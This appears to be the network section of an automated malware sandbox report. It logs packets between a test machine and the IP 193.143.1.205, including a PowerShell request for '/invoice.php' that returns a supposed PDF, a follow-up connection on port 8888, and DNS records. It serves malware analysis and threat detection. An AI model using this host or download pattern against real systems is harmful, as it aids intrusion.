Jan 10, 2025 21:48:35.401330948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401348114 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401360989 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401372910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401381969 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.401384115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401396990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401408911 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401428938 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.401477098 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.401483059 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401492119 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401503086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401515007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401520967 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.401525021 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401544094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.401568890 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.401603937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401617050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401628017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401632071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401647091 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401658058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401669025 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401679993 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.401717901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.401743889 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401762009 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401772976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401781082 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.401783943 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401793957 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401808977 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.401856899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.401879072 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401896000 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401909113 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401918888 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.401930094 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.401931047 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.402018070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.402029991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.402036905 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.402138948 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.431901932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.431917906 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.431936979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.431946993 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.431955099 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.431962967 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.431973934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.431982040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.431984901 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.431993961 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432005882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432014942 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432023048 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432029963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432046890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432055950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432066917 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432069063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432069063 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432077885 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432090044 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432096004 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432101965 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432112932 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432116032 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432123899 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432143927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432188034 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432197094 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432207108 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432276011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432286978 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432296991 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432300091 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432307005 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432316065 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432322979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432333946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432339907 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432343006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432353973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432363987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432373047 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432374001 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432403088 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432612896 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432622910 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432632923 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432636976 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432642937 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432652950 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432662964 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432668924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432678938 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432687998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432688951 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432710886 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432710886 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432723045 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432732105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432734013 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432743073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432754040 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432779074 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.432940960 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432951927 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432961941 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432971954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432981968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.432981968 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.433113098 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433125019 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433130980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433130980 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.433155060 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433165073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433175087 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433176041 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.433186054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433192015 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.433196068 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433212042 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433222055 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433227062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.433232069 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433239937 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.433242083 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433253050 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433264017 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433274031 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433274031 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.433284998 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433294058 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.433295012 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433305979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433319092 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.433383942 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.433865070 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433891058 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433906078 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433909893 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.433917999 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433932066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433948040 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433950901 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.433958054 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433968067 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.433974981 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.434072018 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.452126026 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.455760956 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.457984924 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.457998037 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.458014011 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.458024025 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.458024979 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.458035946 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.458045006 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.458046913 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.458055973 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.458065987 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.458085060 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.458096027 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.458127975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.460680962 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.460695982 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.460706949 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.460716963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.460726976 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.460735083 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.460736990 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.460750103 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.460797071 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.488246918 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488272905 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488286018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488296986 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488306999 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.488315105 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488327980 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488338947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488347054 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.488349915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488353014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.488360882 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488373041 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488392115 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488399029 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.488401890 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488411903 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488420963 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488477945 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.488478899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.488478899 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.488513947 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488528013 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488533974 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488539934 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488549948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488560915 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488570929 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488579035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.488583088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488603115 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.488610029 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488619089 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.488635063 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488662004 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488668919 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.488672018 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488683939 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488707066 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.488719940 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488729954 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488740921 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.488751888 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.488776922 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.518727064 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.518769026 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.518790007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.518804073 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.518804073 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.518817902 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.518831968 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.518836975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.518850088 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.518866062 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.518943071 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.518958092 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.518974066 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.518976927 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.518989086 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.519001007 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.519006014 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.519015074 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.519027948 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.519032001 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.519041061 CET	80	49704	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:35.519062996 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:35.566905975 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:36.001466990 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:36.009155035 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:36.267416954 CET	49704	80	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:36.722564936 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:36.727529049 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:36.728245020 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:36.728245020 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:36.733095884 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:37.514827967 CET	8888	49705	193.143.1.205	192.168.2.5
Jan 10, 2025 21:48:37.567338943 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:37.780702114 CET	49705	8888	192.168.2.5	193.143.1.205
Jan 10, 2025 21:48:50.188735962 CET	50505	53	192.168.2.5	1.1.1.1
Jan 10, 2025 21:48:50.193548918 CET	53	50505	1.1.1.1	192.168.2.5
Jan 10, 2025 21:48:50.193665981 CET	50505	53	192.168.2.5	1.1.1.1
Jan 10, 2025 21:48:50.198590040 CET	53	50505	1.1.1.1	192.168.2.5
Jan 10, 2025 21:48:50.671571016 CET	50505	53	192.168.2.5	1.1.1.1
Jan 10, 2025 21:48:50.677118063 CET	53	50505	1.1.1.1	192.168.2.5
Jan 10, 2025 21:48:50.677211046 CET	50505	53	192.168.2.5	1.1.1.1
Jan 10, 2025 21:48:51.681464911 CET	50982	53	192.168.2.5	1.1.1.1
Jan 10, 2025 21:48:51.687483072 CET	53	50982	1.1.1.1	192.168.2.5
Jan 10, 2025 21:48:51.687813044 CET	50982	53	192.168.2.5	1.1.1.1
Jan 10, 2025 21:48:51.694103003 CET	53	50982	1.1.1.1	192.168.2.5
Jan 10, 2025 21:48:52.159173965 CET	50982	53	192.168.2.5	1.1.1.1
Jan 10, 2025 21:48:52.164078951 CET	53	50982	1.1.1.1	192.168.2.5
Jan 10, 2025 21:48:52.166877985 CET	50982	53	192.168.2.5	1.1.1.1

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 10, 2025 21:48:49.677829027 CET	59526	53	192.168.2.5	1.1.1.1
Jan 10, 2025 21:48:50.188235998 CET	53	54767	1.1.1.1	192.168.2.5
Jan 10, 2025 21:48:51.680181026 CET	53	55476	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Jan 10, 2025 21:48:49.677829027 CET	192.168.2.5	1.1.1.1	0xc2b	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Jan 10, 2025 21:48:48.026825905 CET	1.1.1.1	192.168.2.5	0xdab	No error (0)	bg.microsoft.map.fastly.net		199.232.214.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:48:48.026825905 CET	1.1.1.1	192.168.2.5	0xdab	No error (0)	bg.microsoft.map.fastly.net		199.232.210.172	A (IP address)	IN (0x0001)	false
Jan 10, 2025 21:48:49.686428070 CET	1.1.1.1	192.168.2.5	0xc2b	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Request Dependency Graph

193.143.1.205

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49704	193.143.1.205	80	6276	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Jan 10, 2025 21:48:33.989830017 CET	169	OUT	GET /invoice.php HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682 Host: 193.143.1.205 Connection: Keep-Alive
Jan 10, 2025 21:48:34.788741112 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 20:48:34 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 [TRUNCATED] Data Ascii: 1f6a%PDF-1.7%1 0 obj<< /Pages 3 0 R /Type /Catalog >>endobj2 0 obj<< /Type /ObjStm /Length 56 /Filter /FlateDecode /N 1 /First 4 >>streamx3V0Qw/+Q0TL)VV0Q0PRU,HUHLO-V%0mendstreamendobj4 0 obj<< /Contents 5 0 R /Group << /CS /DeviceRGB /I true /S /Transparency /Type /Group >> /MediaBox [ 0 0 594.96 840.96 ] /Parent 3 0 R /Resources 6 0 R /StructParents 0 /Type /Page >>endobj5 0 obj<< /Filter /FlateDecode /Length 75 >>streamx3T0B]C aabgiUeE\ E&@yC:lBWB!P9D~K>W &endstreamendobj6 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> >> /XObject << /x7 7 0 R >> >>endobj7 0 obj<< /BBox [ 0 0 595 841 ] /Filter /FlateDecode /Resources 8 0 R /Subtype /Form /Type /XObject /Length 59 >>streamx+T(O/6PH/*244S0B]HOS04TpBendstreamendobj8 0 obj<< /ExtGState << /a0 << /CA 1 /ca 1 >> /gs0 << /BM /Normal /CA 1.0 /SMask /None /ca 1.0 >> >> /XObject << /x11 9 0 R >> >>endobj9 0 obj<< /BitsPerComponen [TRUNCATED]
Jan 10, 2025 21:48:34.788760900 CET	1236	IN	Data Raw: 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 48 65 69 67 68 74 20 33 35 30 34 20 2f 49 6e 74 65 72 70 6f 6c 61 74 65 20 74 72 75 65 20 2f 53 75 62 74 79 70 65 20 2f 49 6d 61 67 65 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 57 69 64 74 68 Data Ascii: /FlateDecode /Height 3504 /Interpolate true /Subtype /Image /Type /XObject /Width 2479 /Length 634286 >>streamxs-oYfQf\|H *Q$oeVUC;"/
Jan 10, 2025 21:48:34.788773060 CET	1236	IN	Data Raw: f1 11 51 2c 6d ea db 09 00 00 00 00 00 00 00 00 c0 4e 98 3a da 60 52 a6 84 c6 d3 a0 6d f7 7c cc 3f 4c 18 d5 49 94 1e 3a b5 a9 6f 30 00 00 00 00 00 00 00 00 00 d3 98 ba d2 60 5a c5 81 50 c9 a0 6d ee fc d8 3c 1e 9a c7 c3 f0 f1 d8 3d 54 15 75 49 94 Data Ascii: Q,mN:`Rm\|?LI:o0`ZPm<=TuIlq%t>*5gFIt0"%SgL+WB44i<)HlAS+&}CNjD4C;o?4u
